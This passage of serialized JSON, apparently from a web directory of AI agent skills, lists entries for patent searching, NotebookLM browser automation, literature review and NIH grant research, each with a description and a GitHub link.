\u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":133,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]